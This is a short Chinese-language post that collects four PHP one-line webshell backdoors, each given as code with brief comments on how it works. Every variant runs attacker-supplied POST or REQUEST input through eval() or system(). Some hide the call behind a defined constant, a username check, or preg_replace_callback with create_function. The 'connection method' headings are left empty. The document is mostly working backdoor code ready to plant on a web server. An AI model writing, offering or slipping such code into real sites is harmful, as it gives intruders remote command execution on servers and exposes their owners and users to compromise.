一、第一种
<?php
define('test', 1); #定义一个常量 test,并且值为1
$test = $_POST[test];#因为前面定义了常量 test且值为1,而此处用了常量test:“$_POST[test]”,所以post传输数据必须为1,否则与前面定义的常量不一致,导致报错
if(test == 1){
@eval($test);#一句话木马后门
}
连接方式
二、第二种
<?php
$searchword = $_POST['searchword'];
preg_replace_callback('/asshole(.+)/i', create_function('$arr', 'return system($arr[1]);'), $searchword);
#/asshole(.+)/i的意思是正则匹配$searchword传递的参数中asshole及其以后的所有字符串且不区分大小写,并且将匹配到的所有字符串传递给参数$arr,而system()函数执行传递过来的$arr,导致RCE,php后门
?>
连接方式:
PHP preg_replace_callback() 函数介绍参考链接:https://www.runoob.com/php/php-preg_replace_callback.html
三、第三种
<?php
$username = $_POST['username'];
$password = $_POST['password'];
if($username =='administrator'){
eval($password);
}
?>
连接方法
四、第四种
<?php
preg_replace_callback('/.+/i', create_function('$arr', 'return eval($arr[0]);'), $_REQUEST['pass']);
#与第二种一样
?>
连接方式